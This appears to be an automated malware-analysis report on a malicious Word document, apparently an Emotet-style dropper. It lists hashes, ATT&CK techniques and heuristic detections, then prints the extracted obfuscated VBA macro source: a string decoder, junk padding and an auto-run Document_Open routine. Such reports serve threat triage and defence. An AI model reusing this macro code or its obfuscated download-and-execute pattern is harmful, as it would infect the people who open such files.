Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 492aa4235bd0f293…

MALICIOUS

Office (OLE)

172.0 KB Created: 2018-05-18 02:35:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 2abd5f4690331eee555e8768319b9f32 SHA-1: 8d12e6e2bf60fd2c3bf0461a06b89500d3aee978 SHA-256: 492aa4235bd0f29311bae11bea6a522c9c5cd38036e147fd814487e8bed89a3f
352 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate/Decode Files or Information

The sample is a malicious Office document containing obfuscated VBA macros. Heuristics indicate the macros are designed to download and execute a second-stage payload, likely using the CreateObject and Shell functions. The presence of an auto-exec loader and the ClamAV detection further support this assessment.

Heuristics 10

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell (erjilf), 0
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            MoiFWY = NDaOr.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set NDaOr = CreateObject(maFrZ("MEiPcQrLooscoEfQto.VXWMuL#HUT)TCPM"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set NDaOr = CreateObject(maFrZ("MEiPcQrLooscoEfQto.VXWMuL#HUT)TCPM"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37847 bytes
SHA-256: b4f62756cfe47eb8d7e7739ef4db7c36f8b7a7ea49f946687e8c26a004dda96b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
415 of 635 identifiers look randomly generated (e.g. 'OKDQWLVNiqoSAsTbHENTTHlTsyhxVjJRyeNAEf') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function maFrZ(saSlq As String) As String
YsyRTEqJ = 1496 - 1597 - 336
kyfJULu = LTrim("yddlaYkz)cG)[MT_Kg")
SJaMDLi = 1139 + 211 + 669
RFIfC = LTrim("heMVb!n%XXkk$RS")
YsyRTEqJ = Right(" %RJTIknEV!T[G", 3)
    Dim pdnZPV() As Byte
    dCGNvo = Space(7)
    OKHBDhY = Left("PWC&X_sKNd", 4)
    RFIfC = 1000 + 751 + 1842
    RthJix = Left(".ge@tv&ti%aG@", 4)
    Dim ePwUp(614) As Byte
    While ECtFvy < 30
        AAoDGr = LTrim("h%N!JP]mjbCUAisu")
        kyfJULu = Space(18)
        RFIfC = Right("tvwD(E?V[WRP", 4)
        SJaMDLi = RTrim("uOBi.zMhgXr*n")
        oqGznBW = LTrim("tDfA[sNxd%PkAT*u ")
        YsyRTEqJ = LTrim("NaOlj!f.^pG_znnZ")
        AAoDGr = StrReverse("TdBj(Rat]Nq")
        kyfJULu = StrReverse("peufP*isbTBf")
        OuFbzd = StrReverse("XH]]sDRSNvHLKaCdn")
        dCGNvo = Left("VZjOT%$XC!", 5)
        ECtFvy = ECtFvy + 1
    Wend
    For mEDiSt = 0 To 347
        kyfJULu = 447 - 533 - 1740
        OKHBDhY = 253 - 844 - 1347
        YsyRTEqJ = Right("DQ*!$u?#bQlae#?", 5)
        RthJix = UCase("y)wRJu^YImjXVaUk@b")
        OuFbzd = StrReverse("K%gHtlfw&j")
        RFIfC = LTrim("oQpIe$kCI?")
        RFIfC = UCase("A#)gdvP@]RuX%")
        OuFbzd = Right("LuEDUuFILt_UBWYG", 3)
        OuFbzd = LTrim("VScfQj(.vg&P ePfr")
        RFIfC = LTrim("QkVCGU#KYR")
    Next mEDiSt
    oqGznBW = StrReverse("fa) cBLBAp)(Epk[J$A")
    dCGNvo = UCase("X_Yh^ngSelsZ")
    For MvFrKy = 0 To 38
        RthJix = LTrim("wgNrBIDJt@")
        kyfJULu = UCase("W%pu!$)qAJubTZn")
        OKHBDhY = UCase("hEGsFnGdGLRQXFwe")
        YsyRTEqJ = LTrim("?NVYZ(^wQ*jNQWqZkr")
        RFIfC = 1315 + 1208 + 1205
        oqGznBW = LTrim("wgznmNqGEUpd^S")
        OuFbzd = LTrim("hr_mjnxlF!VQQl?")
    Next MvFrKy
    CiReuhQx = 0
    pdnZPV = StrConv(saSlq, vbFromUnicode)
    RFIfC = StrReverse("uWTV_L!ApeC-")
    For tbfZNl = 0 To 135
        dCGNvo = Right("x.uEdee_##", 3)
        dCGNvo = Space(11)
        YsyRTEqJ = Right("_KdYSJ^($PmNLe)y", 3)
        OKHBDhY = LTrim("P hX EippzU(h")
        AAoDGr = StrReverse(" ectzlaNq)v]rJTKz&")
        UiwBBSbv = UCase("LA?I*$AevW")
        SJaMDLi = "icAGEjX?d-baVxEED" + "[*SxSJJNTEVdl" + "LRGOQTk ruomfH&??%"
        AAoDGr = Right("HsWU]fvHXbMmo", 5)
    Next tbfZNl
    For QLIdpwv = 0 To UBound(pdnZPV) - 1
        If (QLIdpwv Mod 2 = 0) Then
        YsyRTEqJ = Space(15)
        oqGznBW = StrReverse("r-MTpnDhlry")
        OuFbzd = LTrim("rsLLIBM^c(furb")
        For isKCjd = 0 To 100
            RFIfC = LTrim("S%b-IA*josA")
            dCGNvo = 1190 + 1728 + 780
            OKHBDhY = LTrim("VWJ(LDw-& rm$x")
            RthJix = 206 - 278 - 1718
            AAoDGr = StrReverse(".Wi^zE]CUVVDPeR")
            AAoDGr = Left("nt$t]m^b]@lZKaDGbbK]", 2)
            UiwBBSbv = Left("sG]TsDObsO?", 4)
            OuFbzd = 1885 + 1997 + 303
        Next isKCjd
            ePwUp(CiReuhQx) = pdnZPV(QLIdpwv)
            RthJix = "kBJ!b*AmQX@!FSrc%TUB" + "d&WcTnRlDPTTYl" + "C?*y#fy&O[HOuQP"
            RthJix = LTrim("shvWpgAv]TtYjgwgK")
            CiReuhQx = CiReuhQx + 2 - 1
            While XlAMkt < 212
                RFIfC = UCase("fK]bTycMAqQLg]obPWMS")
                RthJix = LTrim("Ppo[s!sgHR")
                UiwBBSbv = 1467 + 358 + 417
                OKHBDhY = UCase("BqZ(sn %A%")
                oqGznBW = RTrim("pj![)R(*-S!DvKBZAv")
                AAoDGr = StrReverse("]OuXx!_UB^gh")
                SJaMDLi = Space(14)
                AAoDGr = StrReverse("F*][.puXmJyzxR^DyG")
                YsyRTEqJ = LTrim("U*#evOF%zRVmw@g")
                RFIfC = UCase("#TGmC]HdQ@YDQWOMQi")
                XlAMkt = XlAMkt + 3
            Wend
            YsyRTEqJ = StrReverse("URdEtRGf#gGW")
            kyfJULu = 862 + 1409 + 1443
            dCGNvo = Left("iJ^#jDXbKZO", 3)
        End If
        While eCnCBb < 104
            oqGznBW = "m#lAE.[xop(" + "@ebt[ %qYayDSDF&" + "PHcWXLLqb.Pg_F"
            YsyRTEqJ = RTrim("uy$ Z!!##@NmAfbuV-v^")
            SJaMDLi = StrReverse("[XFGIIfXeax&kRNT&O#Y")
            oqGznBW = 1265 - 840 - 652
            OKHBDhY = Left("X& Pc_N$CrWL", 5)
            RFIfC = UCase("!Gh]&P-Kja*HN")
            YsyRTEqJ = Left("ts#HlEgdbpgs", 5)
            RFIfC = Right("T(dzMFCdF[UiJv", 4)
            dCGNvo = Right("La&*RF^iwKvgs", 3)
            eCnCBb = eCnCBb + 3
        Wend
    Next QLIdpwv
    AAoDGr = RTrim("HA]L&v&tn#X&TJy")
    maFrZ = StrConv(ePwUp, vbUnicode)
    RFIfC = UCase("q]TPOuH.QOqa(@(")
End Function
Private Sub QzMmJM(lFjgosQ As String, vKsgHg As Boolean, WabxkIN As Boolean, ORTwEms As Integer, tVgbFyW As Double)
    oqGznBW = Left("c(KXdkL(eOgPaf", 2)
    OKHBDhY = RTrim("fScBJYzmcMWqjTPn#@Z")
    OuFbzd = UCase("gO-!)@JVRoyQ_?cAY?")
    OKHBDhY = 737 - 972 - 1425
    SJaMDLi = 1678 - 1868 - 1683
    YsyRTEqJ = Space(5)
    OKHBDhY = LTrim("akYDced(uK )C[nupW?")
    YsyRTEqJ = StrReverse("_alDrQ%BjWeDN[")
    UiwBBSbv = "A. IFV(_xhFi)Y%n" + "J!vGk@%$$hjU!Ud&XD" + "QoigBwIuBsSQN"
    dCGNvo = RTrim("k&fOfnoBlDZvTxkbUB")
    OuFbzd = UCase("@nmyyoDt(X^cAaF%!M ")
    UiwBBSbv = LTrim("I&aX$M@IkSNpqn-@Hc")
    SJaMDLi = "Mj$OSrAvcDcpS]" + "X*kc&L(B@N_MuX" + "&*f)n?[z!IrZZO]esa#y"
    AAoDGr = 159 + 185 + 1278
    While VXaESh < 76
        RthJix = 1950 - 573 - 1087
        dCGNvo = 693 + 1018 + 1262
        VXaESh = VXaESh + 1
    Wend

    While ZEDqFw < 24
        oqGznBW = RTrim("TYvdES@lmy&IMO#x%pb-")
        UiwBBSbv = 799 - 621 - 1998
        UiwBBSbv = Space(19)
        kyfJULu = 1126 - 1387 - 814
        SJaMDLi = LTrim("EsGt [stOy._r)GZ")
        RFIfC = 1484 + 995 + 479
        YsyRTEqJ = Space(17)
        kyfJULu = Left("&_^&B@Xwomj&kqcytZ", 3)
        YsyRTEqJ = LTrim("lpE?HGZ.WK@CWr.Nh")
        OKHBDhY = Left("tMMoDM^s$b", 3)
        ZEDqFw = ZEDqFw + 3
    Wend

    oqGznBW = RTrim("LV?ySjTg$fPD*Xi(E")
    YsyRTEqJ = StrReverse("WZn[d_wIVPgkth)nW_")
    RFIfC = Left("LLfyTLc^B?FGTMHG", 2)
    OuFbzd = LTrim("jZYzL#DUXVq&")
    SJaMDLi = Right("AowW&pdq[p", 3)
    AAoDGr = Space(10)
    While MfLBxb < 152
        YsyRTEqJ = Right("$vy&^Rl?Pls", 5)
        kyfJULu = 1369 + 927 + 709
        OuFbzd = StrReverse("][VFMeMvr[Kw]DpJP")
        MfLBxb = MfLBxb + 2
    Wend

    dCGNvo = Left("Whuf#KNWqlujvKU", 4)
    dCGNvo = Left("IaDA?ycr@RSl]?_", 4)
    OKHBDhY = LTrim("KUiIue#bvF&MkKH]")
    RFIfC = RTrim("GtAj*S%NMd-$TGMLdD")
    UiwBBSbv = ".pTeb&%KOj" + "i_)KzJgf?CHr@]p*X" + "j_Zy#X#ojT&"
End Sub

Private Sub fERxdl(HYhoueS As Double, UeXRrDM As Double, Dbradh As String)
    oqGznBW = Right("y$h(GUjQSa(qtSHc", 3)
    RFIfC = 347 + 1489 + 1696
    SJaMDLi = Left("@bZt@UC_YUM-q&I@z", 4)
    YsyRTEqJ = UCase("NmMHozEjq*B")
    dCGNvo = Right(" ml(#mO??aSfE", 4)
    oqGznBW = Left("epPzgUiO#Q(*Pnozb", 2)
    kyfJULu = Right("!nO)QT()Hv(%Anvtm*m", 5)
    AAoDGr = Space(6)
    kyfJULu = 936 - 892 - 709
    kyfJULu = 985 + 1231 + 1229
    RthJix = UCase("G]c!_f-BTFZbds#?t*vZ")
    RFIfC = LTrim(" WRubisnKAOufDzlT")
    For LTFcSG = 0 To 179
        OKHBDhY = 940 - 482 - 347
        AAoDGr = Space(1)
        UiwBBSbv = Left("U#iOrcUXXLbw", 5)
        OKHBDhY = Right("KRFzQ jdabD*oZ)v", 3)
        YsyRTEqJ = Left("kwHUYpepCBJSX (F.", 2)
        YsyRTEqJ = ")wG*IkUk?JfKOeD" + "cc($a?Whe@B" + "dKIJ]#WNR@l&K"
        RthJix = 1218 - 1030 - 470
        OuFbzd = Right("w$XMlPda_YFNhLMh", 3)
    Next LTFcSG

    OuFbzd = Space(7)
    oqGznBW = UCase("usJpRw[[jQ")
    oqGznBW = 1865 - 826 - 302
    RthJix = UCase("M-&@fhvNhZ")
    RFIfC = UCase("pC)XSO$NatSLiluVDEH[")
    For njqike = 0 To 282
        OKHBDhY = Left("&DB)AOMs%%hB]oXV", 3)
        YsyRTEqJ = RTrim("XymtIvP#sc")
        RthJix = Space(8)
        SJaMDLi = Right("pSDpJ)pE#t^YJ(kzVOt^", 5)
        kyfJULu = StrReverse("jmZhsWIigz$oS(N@k)!")
        RFIfC = StrReverse("ZJJFf(MqCK")
        OKHBDhY = RTrim("-]RYyYt$xeR?cTW")
        UiwBBSbv = Right("PnCZN@eXrgeL", 2)
        YsyRTEqJ = 1059 - 1456 - 1535
    Next njqike

    kyfJULu = "-#hYsMOT-dudiLljCTW" + "&eAetSBT**" + "!?wN$LjuW_D"
    While PMWcKr < 314
        YsyRTEqJ = LTrim(")&M)uYA.uyDp_vnRoP")
        RthJix = Right("u$%^[AEzv%odoze", 4)
        OKHBDhY = RTrim("Ly(bHPAbjBye?daY&Nr")
        OuFbzd = 253 + 1771 + 1095
        OuFbzd = 759 + 1314 + 255
        AAoDGr = 974 + 785 + 674
        PMWcKr = PMWcKr + 3
    Wend

    AAoDGr = 1976 + 987 + 1350
    While qEOsKB < 300
        dCGNvo = LTrim("%.Br^@zUqvSf")
        OuFbzd = 1089 - 400 - 1609
        UiwBBSbv = 1855 + 1096 + 272
        UiwBBSbv = RTrim("AbClDfaSp#S[eEaP)")
        RthJix = Left("psTQeESURRl", 3)
        qEOsKB = qEOsKB + 3
    Wend

    kyfJULu = StrReverse("qHgBymnB I lK")
    dCGNvo = 712 + 1181 + 826
    AAoDGr = 1229 - 877 - 1509
    RFIfC = 900 - 1324 - 1440
    dCGNvo = Left("o@t?@$vTIb^lr*J", 4)
    OKHBDhY = UCase("wmAGm_x$g*& &")
    UiwBBSbv = 1755 - 1785 - 780
    YsyRTEqJ = LTrim("rbLKq(%a@$wg.@")
    OKHBDhY = 223 + 1793 + 1799
End Sub

Private Sub VLISxm(tAAiIsv As Boolean, uPVSoa As Boolean, PIoRAf As Integer, WjNohY As Double)
    oqGznBW = 1720 - 1747 - 1402
    SJaMDLi = RTrim(") Kk]dXagy?cU")
    RthJix = Right("AvwiLqnlQKB.(Dp[mN", 4)
    While PyBSFM < 271
        OKHBDhY = "@EtjLOkFa[TTMR l" + "%hW.qxn@SiRk$!OJY" + "ZNVHDm#).E]NWE"
        kyfJULu = 1785 - 426 - 1947
        UiwBBSbv = StrReverse("R&jSINmb(KLWQkD.!yU")
        RthJix = RTrim("WuHvhAtHBtlKK")
        RFIfC = RTrim("%UGxImqVmee?H.VWB")
        oqGznBW = 1937 - 919 - 179
        RthJix = StrReverse("uc?])wsn)C)jY")
        RFIfC = 176 - 1110 - 117
        kyfJULu = Left("lOnPJTWd!t^Wwl", 4)
        oqGznBW = LTrim("ohckr#YIcx")
        PyBSFM = PyBSFM + 1
    Wend

    SJaMDLi = Space(6)
    kyfJULu = LTrim("E#FBlaCEFO!mj&_GKXQ")
    OuFbzd = RTrim(".?xeuSvFeYK")
    kyfJULu = Right("%vk!scSR)B", 2)
    OuFbzd = 262 + 1192 + 1070
    oqGznBW = RTrim("ggbcUOtMNwK)M-")
    dCGNvo = UCase("n*[Aj&(BigD)xJbD")
    oqGznBW = UCase("wZYXU.P TTe]fkkCV")
    RFIfC = RTrim("XuIdV$@(#UuD[#A_P")
    UiwBBSbv = "zo&bglQqQU!#mq[n" + "ko[vlAMayWDV" + "!^-vhimtKeOgKin_bO?G"
    RFIfC = Left("J^Bj[piwA?GV]", 3)
    RFIfC = 1845 - 1216 - 930
    RFIfC = LTrim("aKbZMt!)R$cAWdJ")
    For Hxqzfl = 0 To 70
        UiwBBSbv = RTrim("s@VT#TrO#MeayWnW")
        YsyRTEqJ = Space(5)
        kyfJULu = Right("PEzRMuEWkXj-#zZt_!", 2)
        RthJix = LTrim("PooGxF[(W.M")
    Next Hxqzfl

    RthJix = LTrim("t.fJnQRyQk$WR(UZh")
    kyfJULu = Space(7)
    oqGznBW = LTrim("cNezlRk.DhWykw")
    RFIfC = 1068 + 1477 + 885
    OKHBDhY = "f #z[fC-oroHBfjtrFbs" + "dBSBdKdImwRxsgboo*X[" + "CvXAlKknlz_LacVi!l"
    RthJix = LTrim("HfVwLBUlgRL]A qat")
    oqGznBW = 1664 - 1143 - 1818
    oqGznBW = StrReverse("a].Mxlr.sje!xpbjxP#")
    OKHBDhY = "%cIfBrf*m^kRXLh" + "(RP?tWHZa_rTC[rFvVtZ" + "UUCsZxmm*kl^tigS_P"
    kyfJULu = RTrim("V$[rtrzYXUMCRf-*oue")
    OKHBDhY = LTrim("QorPd&B[#fMTEZzy")
    SJaMDLi = "QHnbnwpfFg^o" + "xYlU!xeExD" + "zjG_C#Fn]JY"
    oqGznBW = "_]DN)arEd-^mQl*#V" + "lOq&qhd$^ZySM@^_Yf" + "IPCSPNxLoj%"
    YsyRTEqJ = "foibh?O.xaOOcwxYPYJH" + "dE$UuPSNtfad(.[RwVMc" + "TjpsPOUC.hdP-*z?p-V"
    UiwBBSbv = 498 + 1912 + 1126
    RthJix = 856 - 917 - 600
    RthJix = "J.wLx!RKQY.(&Wi" + "]&lVy?nKmLR" + "IYa[f*O_i vyZoI@oO"
    OuFbzd = " Q?l%sJLCwNt" + "H-slsy.YHebgoQ" + ".RSEqTDqL*j%mBp]J#?"
End Sub

Private Sub lPqqZn(mTiMXc As Double, yrYhRyF As Integer)
    AAoDGr = LTrim("oZGGr_w)fzyv^l_X")
    dCGNvo = 255 + 980 + 1052
    SJaMDLi = LTrim("R?V[)#RQqn")
    kyfJULu = "_&yF_@LAAJZh" + "KIQ.KhI#%G).g!pfu^_g" + "CswSo[uXqP$"
    OKHBDhY = Space(12)
    dCGNvo = LTrim("Id R KIcN#m")
    YsyRTEqJ = StrReverse("BDYNtZ^Ti$FbI")
    AAoDGr = 1714 + 972 + 411
    AAoDGr = StrReverse("uO^VUdtvH#PeI?NV%j]")
    oqGznBW = Space(11)
    dCGNvo = RTrim("lBS?o -$&kg")
    RFIfC = Right("rt[hkf!jsFW", 4)
    AAoDGr = Left("OcBeUdjNR&KLd", 2)
    For OwOyVT = 0 To 344
        RFIfC = 1440 - 1725 - 705
        dCGNvo = Space(17)
        RthJix = Space(13)
        kyfJULu = 1740 + 1816 + 958
        SJaMDLi = UCase("fhKOe(vSxM_*w$#cWoGr")
        kyfJULu = StrReverse("cx)Y%zRDt(FQVnp@Omo")
        RFIfC = "ScF@mXdYu)IaTt" + "^IuPL&(*HB-HEMV)" + "QkBLPj#IW*tsbXe.sJY"
    Next OwOyVT

    OuFbzd = "!sdm-Uw ^Oro([" + "h!wUbezl%Z@eY)chq&" + "NPJJDn-evQ"
    OKHBDhY = Right("&QSNt)*PQGpi?VU", 5)
    OuFbzd = Space(16)
    RthJix = 422 - 1188 - 647
    UiwBBSbv = RTrim("iG_ w!_m^Is)sOA]X")
    YsyRTEqJ = 388 + 389 + 983
    oqGznBW = Space(18)
    SJaMDLi = RTrim("VxAXNI?g($m#T)iNK")
    SJaMDLi = 779 - 733 - 1643
    OKHBDhY = 1427 + 1054 + 1961
    RthJix = Right("s(#d_nxG^S]o s", 2)
    oqGznBW = UCase("PMtM#b@n(chnBRw")
    While DVhzuC < 266
        YsyRTEqJ = UCase("^^c#NYG(Uq%YnBBpw&")
        RthJix = LTrim("_rPXBjv%XipzzL")
        RthJix = LTrim("EBzMUU-fsBS")
        YsyRTEqJ = Left("eoFEX$(#bvpi*pmACg]", 5)
        SJaMDLi = StrReverse("JyFF$nBhAhLsr*FWxupU")
        RthJix = Space(3)
        DVhzuC = DVhzuC + 1
    Wend

    OuFbzd = 217 + 698 + 1755
    RFIfC = RTrim("O[Od)ECLgDDOH_w!AW")
    kyfJULu = RTrim("QtNW)hxO#_rk")
    oqGznBW = Space(7)
    OuFbzd = LTrim("HZECmSVhXJU%PYKDJDyU")
    AAoDGr = RTrim("*cYRQ$Foj%WmA[@ia)")
    RthJix = Right("U!ggO_yR[niox", 3)
    YsyRTEqJ = Space(11)
    OKHBDhY = RTrim("[K*q)EEYNoyi I")
    AAoDGr = Right("nK[AB#$Z_vxs[ZeU]q$", 4)
    oqGznBW = Space(13)
    While CwjhQS < 65
        RthJix = LTrim("vxnx[$eOf_hD!A#o")
        SJaMDLi = UCase("YcAOW?Ch[n$er&LG#")
        kyfJULu = UCase("e(Dt-pKpIlQOR")
        RFIfC = 1453 + 506 + 1182
        oqGznBW = 1117 + 1371 + 1970
        OKHBDhY = 1148 - 1477 - 278
        kyfJULu = UCase("MPi_btuNII*")
        RthJix = UCase("&]cPx$!VAD$csbZO )Mm")
        CwjhQS = CwjhQS + 1
    Wend

    AAoDGr = 1243 + 1784 + 1597
End Sub

Private Function ntiKPc(wobGME As Boolean) As String
    While QZEHLB < 22
        AAoDGr = 1885 + 1643 + 403
        OKHBDhY = 1798 + 573 + 1669
        oqGznBW = 452 + 1059 + 428
        AAoDGr = LTrim("HLdr!hWMCbeV")
        AAoDGr = Right("KgriUB!%]AFmcltb B", 2)
        AAoDGr = "nI_NxWm^zJ.*rYG)pq" + "PjeAf]LC&u%$Inw$@G" + "hblPNk%t%KX"
        AAoDGr = Right("z]qlwNFbwpjg&P", 3)
        dCGNvo = LTrim("fxPjhNIKE-eb%_OzeqA^")
        QZEHLB = QZEHLB + 1
    Wend

    OKHBDhY = StrReverse("@ReF_w?BCiDo.emf")
    OuFbzd = UCase("Tfs_H&Xqkm")
    UiwBBSbv = StrReverse("uq.Ex -e#d.NF[")
    YsyRTEqJ = RTrim("aSJIOXlyI$oEh^")
    YsyRTEqJ = StrReverse("ir*gQ_AA@_")
    SJaMDLi = StrReverse("KP_cH[$)HqpE?rQ#pi[L")
    kyfJULu = Space(4)
    oqGznBW = Left("NvUjYvLz.!", 2)
    SJaMDLi = StrReverse("r)pX^%C?#dBI")
    dCGNvo = "CyvT&GEr#_?_fA.szBJi" + "v?GNW*DRJEXQ" + "YzPJH)f)k.R%GiL]D"
    UiwBBSbv = UCase("--Akfx$yf?.%eQ QIL)")
    kyfJULu = LTrim("xg]mid.b]@cJQq#UhxRF")
    YsyRTEqJ = "L(sgoc!yNitRuVUda!*" + "VmRkJSIYcs?kf.y" + "sOckE?a$RpO.gJb_VO"
    RFIfC = StrReverse("]x?@VaQlT]*QQ$")
    OKHBDhY = "_LMKmB @ox$rqX" + "dT]YcwGOFAT" + "VS!?kyXxK "
    kyfJULu = LTrim("rOP_^_Tsv@")
    dCGNvo = LTrim("&]%Ytm@^&bN")
    OuFbzd = 1018 - 1983 - 411
    RthJix = Right("-?jQU@]hUPiIl_]jjm", 4)
    kyfJULu = UCase("PA[RpE-xkP.TQ&w-LTA")
    While WPGlTt < 24
        AAoDGr = 386 - 1807 - 379
        RFIfC = Left("bwHS_GBCahi)ZIw", 4)
        kyfJULu = Left("Lg-QDSmKEoXo", 3)
        dCGNvo = Right("CB%qi@aA w@o-ooy_@", 4)
        oqGznBW = UCase("CCccY.HdK-Sx$S")
        YsyRTEqJ = Right("^F_aLto##T_", 3)
        AAoDGr = StrReverse("KiooH(R_uH$y@uT)Y%n.")
        WPGlTt = WPGlTt + 1
    Wend

    OKHBDhY = 1486 - 397 - 1635
    RFIfC = "nTX*(xI_ZH)tS#g" + "ugKe[*YJ?PSsKYL$" + "ijdNYCYdc*j"
    UiwBBSbv = 1920 - 118 - 180
    dCGNvo = Right("s!VyGMgJTL qkK@oKy-w", 2)
    oqGznBW = 1848 - 1959 - 986
    OKHBDhY = LTrim("TzeH)aSIVFdp.h_Xud")
    YsyRTEqJ = LTrim("KSfvv%I*VsXmUHX")
    While fIwlNk < 300
        YsyRTEqJ = Space(10)
        RFIfC = Right("EvC.?jm[vzEMZW_.", 4)
        SJaMDLi = StrReverse("Nd&P#qTuksvyP(")
        OuFbzd = Right("Ty%]eej.P-VKfE", 3)
        dCGNvo = UCase("jkw$-n#aWYYZD")
        RFIfC = UCase("e%HFa#P#rKWG")
        OuFbzd = RTrim("^oS^gYSg_%Knc%")
        kyfJULu = 526 - 1175 - 1129
        YsyRTEqJ = RTrim("qUyf^FnKYGwQofdS]K&")
        fIwlNk = fIwlNk + 3
    Wend

    For gRcXGc = 0 To 325
        YsyRTEqJ = StrReverse("PzljIDLnBZix[")
        AAoDGr = 360 - 1438 - 593
    Next gRcXGc

    OKHBDhY = "%T_Cga?Fn#fo" + "vx#zs(G.ot$H-P[ey" + ")Vv xWg(F#&hX)kRZ^GB"
    For OMAMTX = 0 To 335
        RFIfC = Space(8)
        OuFbzd = Left("U!ePmbAgx)tizj&", 5)
        oqGznBW = "cj[(WrAR?JA&OANR" + "KJBqM)mTBN^ " + "d#qLDQwZ-lUzf"
    Next OMAMTX

    dCGNvo = RTrim("lRzV@WF?IjZKGC$jn")
    RFIfC = 852 - 977 - 1135
    RthJix = Space(15)
    oqGznBW = "K-u&yta[fQgcks_LbvA" + "g)wT^xlh^v VXrMo" + "v]UhD)Uq%usY_k!?U[l"
    oqGznBW = Right("e]h^_VIzJtgJ[bOZ&[", 2)
    ntiKPc = "OKDQWLVNiqoSAsTbHENTTHlTsyhxVjJRyeNAEf"
End Function

Private Sub Document_Open()
    Dim DBprygh As String
    oqGznBW = RTrim("hVwrBWYAFiOzlq")
    While BlCkqE < 196
        OKHBDhY = 822 + 1107 + 1128
        OKHBDhY = UCase("__XEeokDxEXr")
        BlCkqE = BlCkqE + 3
    Wend

    OuFbzd = "jf]Nkn-uoORQ$&Cq" + "yjEdEqh[Fy*OeUzv" + "!TzmnKikvRAkUoueHW"
    AAoDGr = StrReverse("_N[[cCQp%iAjc")
    YsyRTEqJ = RTrim("RKf-wcya^n_.qjIpcC")
    oqGznBW = Left("^^]DUDs)R]Awq!*s[fM", 4)
    oqGznBW = StrReverse("%ai&^)FzfF*j")
    For UCgQRQ = 0 To 261
        oqGznBW = Space(15)
        oqGznBW = "tjP]b@A _Y@cB*" + "zFNKKK kqMap@*r" + ".gw%DY(EjAOPUdrZhlH"
        kyfJULu = Left("MuHTmgLtoQFSf", 4)
    Next UCgQRQ

    Dim rOXLCp As String
    dCGNvo = 547 + 950 + 1885
    AAoDGr = "ZAKTP(lkLVkXjKjM&-lg" + "hl[SIj&JqN" + "iTOBH-%RsM"
    kyfJULu = LTrim("&q!(i##FYnTMBg s$Qz_")
    AAoDGr = Space(10)
    UiwBBSbv = 139 - 376 - 1655
    SJaMDLi = Space(2)
    RFIfC = LTrim("fN%mPO#lHbtENPos")
    OKHBDhY = RTrim("JuZIz[mlAi")
    DBprygh = StrReverse("FePx(eA.GCYkEIjpwsFWG\d\#%vpjmqe&tK%c PL.L$Dbn-uHRh_fcpesxBE)lFlWeihAS_,nlAlEdu.s2D3plIl(eThvse ieSxXep.v2e3tlQl(dynEudrG Nc(/- ]ekxXe_.?dAmDc")
    While cuCrYw < 295
        RFIfC = 1975 + 1929 + 504
        OKHBDhY = LTrim("&Ct ^xBIby*w")
        RFIfC = Space(9)
        RthJix = Left("_ b.oC)Lb[.]hIRES$UH", 4)
        kyfJULu = UCase("yiego$V?*fT)$")
        dCGNvo = Space(1)
        OKHBDhY = Left("CVUzUWzG$TBz]PUq]", 4)
        dCGNvo = 1055 + 1165 + 770
        AAoDGr = RTrim("Se$$DHq.OjAhr@ZgYp!w")
        cuCrYw = cuCrYw + 2
    Wend

    OKHBDhY = UCase("LiFGka(PzBSxib")
    kyfJULu = 819 + 1523 + 1807
    While BhUfrl < 380
        UiwBBSbv = "dEJhebcD!Z$GZ)EwoAZU" + "gF$O&tx(]uagj" + "vIrDXEE[sMTNg$qn[mD"
        dCGNvo = Space(7)
        BhUfrl = BhUfrl + 1
    Wend

    kyfJULu = LTrim("VmxU!xyTBCHQdIys")
    UiwBBSbv = Left("-yRbhGazlrRLb.^V-EQ", 3)
    UiwBBSbv = Space(2)
    While hDrFhL < 268
        OKHBDhY = Space(3)
        kyfJULu = Right("%ldcaoChOazrOc", 2)
        RFIfC = UCase("QEIxB[Wj(kfrDSdWO&$")
        OKHBDhY = Left("@@esbH@AxH]I", 4)
        UiwBBSbv = 1454 + 1400 + 1230
        RFIfC = RTrim("yTg??OA*WcM?UGr")
        RFIfC = UCase("qb^N* &_$v^vzR[^][x")
        AAoDGr = 1813 - 1575 - 771
        dCGNvo = 968 + 578 + 310
        hDrFhL = hDrFhL + 1
    Wend

